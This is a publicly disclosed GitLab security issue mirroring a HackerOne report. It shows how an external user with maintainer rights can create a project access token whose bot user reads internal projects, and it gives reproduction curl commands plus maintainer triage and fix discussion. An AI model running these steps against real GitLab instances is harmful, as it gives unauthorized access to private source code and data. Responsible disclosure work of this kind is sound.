

Privilege escalation of "external user" (with maintainer privilege) to internal access through project token

[HackerOne report #1193062](#) by joaxcar on 2021-05-12, assigned to [@rchan-gitlab](#).

[Report](#) | [How To Reproduce](#)

Report

Summary

An "external user" (a user account with the status external) which is granted "Maintainer" role on any project on the GitLab instance where "project tokens" are allowed can elevate its privilege to "Internal". An external user with maintainer permissions could create a project token, which will be connected to a bot user with internal privileges on the GitLab instance. Thus, now being able to access all internal projects and snippets as a Guest user. This includes

- Accessing all information about internal projects as if having Guest permissions (including source code)
- Creating issues on internal projects
- Creating projects and groups (these will contain no members and thus be of little use)

An external user is by the documentation described as a way to let external contractors get access to limited parts of a GitLab instance [link](#). Stating that

This feature may be useful when for example a contractor is working on a given project and should only have access to that

There are no warnings about giving an external user maintainer permissions. It is also possible for ANY internal user to elevate the external user to maintainer on any internal project created by that user. Thus, there is no need to ask an Admin for permission to do this. Thus, an external user (if not already granted maintainer on a project) only needs to convince one other user on the system to create a project and invite the external user as maintainer.

Steps to reproduce

1. Create a user with "external user" activated
2. Use any internal user to invite the "external user" as maintainer to a project
3. Login as the "external user" and create a project token on the project, save the token
4. Use the token to probe internal projects

```
curl --header "Authorization: Bearer <TOKEN>" "https://gitlab.domain.com/api/v4/projects"
```

create groups

```
curl -X POST --header "Authorization: Bearer <TOKEN>" "https://gitlab.domain.com/api/v4/groups?name=new&path=newgroup"
```

create issues on internal projects

```
curl -X POST --header "Authorization: Bearer <TOKEN>" "https://gitlab.domain.com/api/v4/projects/21/issues?title=iWasHere"
```

access source code

```
curl --header "Authorization: Bearer <TOKEN>" "https://gitlab.domain.com/api/v4/projects/19/repository/blobs/83d9398518bdf1"
```

Impact

An external user can access all internal projects. Thus leading to severe information disclosure and ability to interact by issues.

What is the current bug behavior?

An external user with maintainer privileges to a project can create a project token which is connected to a Bot with internal access.

What is the expected correct behavior?

The bot should not have internal access to the GitLab instance. It is stated that

Project access tokens are scoped to a project and can be used to authenticate with the GitLab API.

[link](#)

Which makes it seem like the token does not have any permissions outside the project.

The bot should probably have "external privilege" as standard. At least an external user should not be able to use the bot to access internal projects.

Results of GitLab environment info

```
System Information
System:
Current User:  gitlab
Using RVM:     no
Ruby Version:  3.0.1p64
Gem Version:   /usr/lib/ruby/2.7.0/bundler/spec_set.rb:86:in `block in materialize': Could not find rake-13.0.3 in any of
  from /usr/lib/ruby/2.7.0/bundler/spec_set.rb:80:in `map!'
  from /usr/lib/ruby/2.7.0/bundler/spec_set.rb:80:in `materialize'
  from /usr/lib/ruby/2.7.0/bundler/definition.rb:178:in `specs'
  from /usr/lib/ruby/2.7.0/bundler/definition.rb:237:in `specs_for'
  from /usr/lib/ruby/2.7.0/bundler/definition.rb:226:in `requested_specs'
  from /usr/lib/ruby/2.7.0/bundler/runtime.rb:101:in `block in definition_method'
  from /usr/lib/ruby/2.7.0/bundler/runtime.rb:29:in `setup'
  from /usr/lib/ruby/2.7.0/bundler.rb:149:in `setup'
  from /usr/lib/ruby/2.7.0/bundler/setup.rb:28:in `block in <top (required)>'
  from /usr/lib/ruby/2.7.0/bundler/ui/shell.rb:136:in `with_level'
  from /usr/lib/ruby/2.7.0/bundler/ui/shell.rb:88:in `silence'
  from /usr/lib/ruby/2.7.0/bundler/setup.rb:28:in `<top (required)>'
  from <internal:/usr/lib/ruby/3.0.0/rubygems/core_ext/kernel_require.rb:85:in `require'
  from <internal:/usr/lib/ruby/3.0.0/rubygems/core_ext/kernel_require.rb:85:in `require'

Bundler Version:unknown
Rake Version:   13.0.3
Redis Version:  6.2.3
Git Version:    2.31.1
Sidekiq Version:5.2.9
Go Version:     go1.16.4 linux/amd64

GitLab Information
Version:        13.10.4
Revision:       e11cc45d59e
Directory:      /usr/share/webapps/gitlab
DB Adapter:     PostgreSQL
DB Version:     13.2
URL:            http://gitlab.joaxcar.com
HTTP Clone URL: http://gitlab.joaxcar.com/some-group/some-project.git
SSH Clone URL:  gitlab@gitlab.joaxcar.com:some-group/some-project.git
Using LDAP:     no
Using Omniauth: yes
Omniauth Providers:

GitLab Shell
Version:        13.17.0
Repository storage paths:
- default:      /var/lib/gitlab/repositories
GitLab Shell path: /usr/share/webapps/gitlab-shell
Git:            /usr/bin/git
```

Impact

An external user can access all internal projects. Thus leading to severe information disclosure and ability to interact by issues.

The user can now

- Accessing all information about internal projects as if having Guest permissions (including source code)
- Creating issues on internal projects
- Creating projects and groups (these will contain no members and thus be of little use)

How To Reproduce

Please add [reproducibility information](#) to this section:

- 1.
- 2.
- 3.

Proposal

Scope the permission of the project access token to be an external access token.

All proposals considered

1. ~~Limit the creation of the project access token to limited set of users~~ [#331473 \(comment 580396051\)](#) (Considered too complex)
2. Scope the permission of the project access token to be an external access token [#331473 \(comment 580396051\)](#)
3. ~~Prohibit external users from creating project tokens~~ [#331473 \(comment 627885698\)](#) (Leaves vulnerable tokens which we can't arbitrarily disable/delete)
4. ~~Prohibit external users to be promoted to Maintainers~~ [#331473 \(comment 627885698\)](#) (Leaves vulnerable tokens which we can't arbitrarily disable/delete)

Edited 1 year ago by [Dan Jansen](#)

📁 Drag your designs here or [click to upload](#)

Tasks @0

No tasks are currently assigned. Use tasks to break down this issue into smaller parts.

Linked items 🔗 0


Link issues together to show that they're related or that one is blocking others. [Learn more](#)

Activity

📅 [GitLab SecurityBot](#) changed due date to August 18, 2021 [1 year ago](#)

🔍 [GitLab SecurityBot](#) added [Windows](#) [CAPEC-233](#) [priority 3](#) [severity 3](#) scoped labels [1 year ago](#)

🔍 [GitLab SecurityBot](#) added [HackerOne](#) [security](#) labels [1 year ago](#)



[GitLab SecurityBot](#) [@gitlab-securitybot](#) · [1 year ago](#)

[HackerOne comment](#) by [sodacan](#) :

Author


Reporter

Hi [@joaxcar](#),

Thank you for your submission. I hope you are well. Your report is currently being reviewed and the HackerOne triage team will get back to you once there is additional information to share.

Have a great day!

Kind regards, [@jsodacan](#)



[GitLab SecurityBot](#) [@gitlab-securitybot](#) · [1 year ago](#)

[HackerOne comment](#) by [joaxcar](#) :


Author

Reporter

Hi [@jsodacan](#) are there any problems with the report? If there is anything I can add to clear things up feel free to ask!

I can clarify a bit about the access granted: An external user can only see information about the specific project the user is a member of. There should be no problems adding an external user as a maintainer. There are very little(no) information on the external users profile informing other users that the user is external.

When a maintainer of a project the external user can now create a project access token which will grant: Maintainer access to the project (even if the external user is degraded or removed from the project) AND internal access to the GitLab instance which makes it possible for the external user to view all information on all projects which are open to internal users.



[GitLab SecurityBot](#) [@gitlab-securitybot](#) · [1 year ago](#)


[HackerOne comment](#) by [joaxcar](#) :

Author

Reporter

Thought that I should add that I now have another report ([#1199561](#)) which is related to this one. They do not completely overlap, so I added it as a separate report. If HackerOne or GitLab wants to merge them I could move the findings to one report.

The separation is that this report deals with an external user using a legitimate project access token to get internal access. The other one ([#1199561](#)) points out how a project access token can be used as a back door to the instance by a user getting removed from a project, blocked or deleted.



[GitLab SecurityBot](#) [@gitlab-securitybot](#) · [1 year ago](#)

[HackerOne comment](#) by [joaxcar](#) :

Author

Reporter

Hello again, dont want to spam you but I got a request on my other report to be more precise in the reproduction steps. Here is a step by step guide to reproduce the elevation of privilege using mostly curl commands. In this example I use an admin to generate a user and the access token for the user. If this was a real external user the user could create the access token from the UI

Steps too reproduce:

1. Log in as an administrator
2. Go to https://gitlab.domain.com/-/profile/personal_access_tokens and create an access token for the admin
3. Start up a terminal and create these to variables to be used in subsequent commands (replace url and <ADMIN_TOKEN>)

```
server_url='https://gitlab.domain.com'
admin_token='<ADMIN_TOKEN>'
```

4. Use the admin token to create an external user and make a note of the created users ID

```
curl --request POST --header "PRIVATE-TOKEN: $admin_token" \
--data "name=External User" \
--data "username=external_user_01" \
--data "external=true" \
--data "skip_confirmation=true" \
--data "password=Safepass001" \
--data "email=external_user@example.com" \
"$server_url/api/v4/users"
```

5. Add a shell variable for external_user (replace ID)

```
external_user='<ID>'
```

6. Use the admin token to generate an access token for the external user

```
curl --request POST --header "PRIVATE-TOKEN: $admin_token" \
--data "name=external_token" \
--data "scopes[]=api" \
"$server_url/api/v4/users/$external_user/personal_access_tokens"
```

7. Add a shell variable for external_token (replace <EXTERNAL_TOKEN>)

```
external_token='<EXTERNAL_TOKEN>'
```

8. Create our first internal project and take a note of the project ID

```
curl --request POST --header "PRIVATE-TOKEN: $admin_token" \
--data "name=Internal project 1" \
```

```
--data "visibility=internal" \
"$server_url/api/v4/projects"
```

9. Create our second internal project and take a note of the project ID

```
curl --request POST --header "PRIVATE-TOKEN: $admin_token" \
--data "name=Internal project 2" \
--data "visibility=internal" \
"$server_url/api/v4/projects"
```

10. Add shell variables for project 1 and 2 (replace and)

```
project_1='<ID1>'
project_2='<ID2>'
```

11. Add the external user as maintainer to internal project 1

```
curl --request POST --header "PRIVATE-TOKEN: $admin_token" \
--data "user_id=$external_user&access_level=40" \
"$server_url/api/v4/projects/$project_1/members"
```

12. Request a list of internal projects using the external accounts access token. Verify that only project 1 is returned.

```
curl --request GET --header "PRIVATE-TOKEN: $external_token" \
"$server_url/api/v4/projects?visibility=internal"
```

13. Use external users access token to generate a project access token, take a note of the token

```
curl --request POST --header "PRIVATE-TOKEN: $external_token" \
--header "Content-Type: application/json" \
--data '{ "name": "attack_token", "scopes": ["api"]}' \
"$server_url/api/v4/projects/$project_1/access_tokens"
```

14. Add a shell variable for project access token (replace <PROJECT_TOKEN>)

```
project_token='<PROJECT_TOKEN>'
```

15. Request a list of internal projects using the generated project accounts access token. Verify that all internal projects are now visible.

```
curl --request GET --header "PRIVATE-TOKEN: $project_token" \
"$server_url/api/v4/projects?visibility=internal"
```



GitLab SecurityBot @gitlab-securitybot · 1 year ago

Author Reporter

[HackerOne comment](#) by sodacan:

Hi (@joaxcar, Thanks for the requested updated information. The H1 team is taking a look at it now and will let you know if there are any questions or comments. Your input is appreciated. (@sodacan



GitLab SecurityBot @gitlab-securitybot · 1 year ago

Author Reporter

[HackerOne comment](#) by sodacan:

Hi (@joaxcar, For using the curl command below to access source code where would the attacker obtain the blob UID?

```
curl --header "Authorization: Bearer "
"https://gitlab.domain.com/api/v4/projects/19/repository/blobs/83d9298518bdf1519b7b8fbb3fa3e305a8554ef7ae"
```

[@sodacan



GitLab SecurityBot @gitlab-securitybot · 1 year ago

Author Reporter

[HackerOne comment](#) by joaxcar:

Hi thank you for looking through the report!

I could have been a bit clearer with the examples I guess. The token have access most of the API. So if there is a internal project with no other restrictions the token can be used in the following sequence:

1. List internal projects, and take a note of the ID of a project

```
curl --header "Authorization: Bearer TOKEN" "https://gitlab.domain.com/api/v4/projects?visibility=internal"
```

2. List the repository tree of the project

```
curl --header "Authorization: Bearer TOKEN" "https://gitlab.domain.com/api/v4/projects/15/repository/tree"
```

output will look like:

```
{
  {
    "id": "995aa640bef8ad391a5cd9f8ca82c9d481d34cbb",
    "name": "README.md",
    "type": "blob",
    "path": "README.md",
    "mode": "100644"
  }
}
```

3. Use the id of a blob in the request

```
curl --header "Authorization: Bearer TOKEN" "https://gitlab.domain.com/api/v4/projects/15/repository/blobs/995aa640bef8ad391a5cd9f8ca82c9d481d34cbb"
```

and get the output like

```
{
  "size": 11,
  "encoding": "base64",
  "content": "Iy8NeSbwc9qCgo=",
  "sha": "995aa640bef8ad391a5cd9f8ca82c9d481d34cbb"
}
```

(content is base64 of "# My proj" which is the content of the README)



Ron Chan @rchan-gitlab · 1 year ago

Contributor

cc @lmcandrew @ogolowinski, this is a privilege escalation where an external user can use the access token of a project to get access to internal projects.

Maybe we can consider limiting the creation of the project access token to limited set of users only, or scope the permission of the project bot access token to be an external access token



Ron Chan added group authentication and authorization, design, manage scoped labels 1 year ago



GitLab SecurityBot @gitlab-securitybot · 1 year ago

Author Reporter

@ogolowinski @dennis @lmcandrew @rchan-gitlab This issue is ready for triage as per [HackerOne process](#)

About this automation: [AppSec Escalation Engine](#)



Orin Golowinski @ogolowinski · 1 year ago


Developer

I am currently placing this in [candidate 142](#) since we are focusing on [security 2](#) security issues in the next few milestones


Ron Chan @rchan-gitlab · 1 year ago

Contributor

Looks good to me [@ogolowinski](#)!

 **Liam McAndrew** [@lmcandrew](#) · 1 year ago

[@ogolowinski](#) can you confirm why you picked this particular issue for [candidate 142](#)? i.e. is there a particular reason this is a higher priority than other [severity 3](#) issues?

 **Orit Golowinski** [@ogolowinski](#) · 1 year ago

[@lmcandrew](#) sure. This is a privilege escalation issue and its due date is Aug 18th. If there is a better candidate I am open to swap

Please [register](#) or [sign in](#) to reply

 Dan Jensen added [workflow](#) [planning breakdown](#) scoped label [1 year ago](#)

Please [register](#) or [sign in](#) to reply

 Dan Jensen changed the description 1 year ago

Pavel Shutsin

changed weight to 1

1 year ago

Pavel Shutsin

added [workflow: scheduling](#) scoped label and automatically removed [workflow: planning breakdown](#) label

1 year ago

Dan Jensen

assigned to [@pshutsin](#)

1 year ago

Dan Jensen

added [workflow: ready for development](#) scoped label and automatically removed [workflow: scheduling](#) label

1 year ago

Dan Jensen

changed the description

1 year ago

Dan Jensen

added 1 deleted label

1 year ago

Dan Jensen

added [Fix 6340](#) label

1 year ago

GitLab Bot

removed [Automatic merge requests](#) label

1 year ago

Pavel Shutsin

added [workflow: in dev](#) scoped label and automatically removed [workflow: ready for development](#) label

1 year ago

Pavel Shutsin

removed the weight

1 year ago

GitLab Bot

@gitlab-bot

1 year ago

Maintainer

Setting label(s) [category: authentication and authorization](#) based on ~"group:access".

GitLab Bot

added [category: authentication and authorization](#) label

1 year ago

Julian Paul Dasmariñas

@jdasmarinas

1 year ago

Developer

[@pshutsin](#) is there still a plan to split this into two issues?

We have a [customer](#) (internal) that is concerned that the project access token can access the other project's pipelines (and possible other data). They're mostly interested in:

Restrict project access tokens to be scoped strictly to related project. (complex to fix)

Pavel Shutsin

@pshutsin

1 year ago

Maintainer

[@jdasmarinas](#) can't see zendesk issue you've linked. I'm currently investigating an option to make project access token users as internal users.

Julian Paul Dasmariñas

@jdasmarinas

1 year ago

Developer

I'm not sure how that works, but just to verify, that will prevent project access tokens from accessing other internal project's data right?

Edited by [Julian Paul Dasmariñas](#) 1 year ago

Julian Paul Dasmariñas

@jdasmarinas

1 year ago

Developer

[@pshutsin](#) just a follow up regarding this. The customer is mainly interested in restricting project access token so that it can only access data from the project it was generated on. The current behavior is that the project access token can access the data of the other project if the project's visibility level is set to **Internal**.

I believe what you are currently working on is for external users only?

Should I create a separate issue for this? Not sure if that was a bug we can count as a security issue 🤔

Pavel Shutsin

@pshutsin

1 year ago

Maintainer

[@jdasmarinas](#)

The customer is mainly interested in restricting project access token so that it can only access data from the project it was generated on. The current behavior is that the project access token can access the data of the other project if the project's visibility level is set to **Internal**.

I think we should create separate issue for it and it looks like a [feature](#)

This issue only addresses issue with `external` users being promoted to `Internal` through project access token.

Please [register](#) or [sign in](#) to reply

Dan Jensen

changed weight to 2

1 year ago

Dan Jensen

@djensen

1 year ago

Contributor

[@pshutsin](#), we were talking about the lack of documentation for external/internal users. For some reason it doesn't appear in the documentation search, but there's a [section on external users](#). (Found this through an [issue to clarify definitions of internal and external users](#).)

Pavel Shutsin

@pshutsin

1 year ago

Maintainer

[@ogolowinski](#) this one might slip into %14.3 due to heavy DB migration discussion

Orrit Golowinski

@ogolowinski

1 year ago

Developer

Thanks for the update [@pshutsin](#)

Orrit Golowinski

@ogolowinski

1 year ago

Developer

Thanks for the update [@pshutsin](#)

Please [register](#) or [sign in](#) to reply

Michelle Gill

added [CVE](#) [QID](#) scoped label

1 year ago

Pavel Shutsin

added [workflow: in review](#) scoped label and automatically removed [workflow: in dev](#) label

1 year ago

Dennis Tano

changed health status to at risk

1 year ago

Pavel Shutsin

changed milestone to %14.3

1 year ago

Rohit Shambhuni

@rshambhuni

1 year ago

Developer

CVE requested - <https://gitlab.com/gitlab-org/cve/cve/fixes/223>

Pavel Shutsin

added [workflow: verification](#) scoped label and automatically removed [workflow: in review](#) label

1 year ago

Pavel Shutsin

closed

1 year ago

Pavel Shutsin

removed [workflow: verification](#) [priority: 3](#) labels

1 year ago

GitLab SecurityBot

@gitlab-securitybot

1 year ago

Author

Reporter

This [TrackerDoc](#) [security](#) issue was closed 30 days ago and may become public.

Please ensure the following items are true and add a [👍](#) reaction:

- Issue description and comments do not contain sensitive data belonging to GitLab.
- Issue does not reveal private information of the reporter (i.e. session IDs, passwords).

If the issue needs to stay confidential, please add the [known confidential](#) label.

If you removed confidential data from the issue description before making it public, make sure that the description history entry is deleted.

Costel Maxim

@cmaxim

1 year ago

Developer

Removed the [known confidential](#) flag.

Costel Maxim

made the issue visible to everyone

1 year ago



GitLab SecurityBot @gitlab-securitybot · 1 year ago

Author

Reporter

[HackerOne report #1193062](#) was disclosed on 2021-10-11 @ 10:23.

- Bounty awarded: \$1020

Please [register](#) or [sign in](#) to reply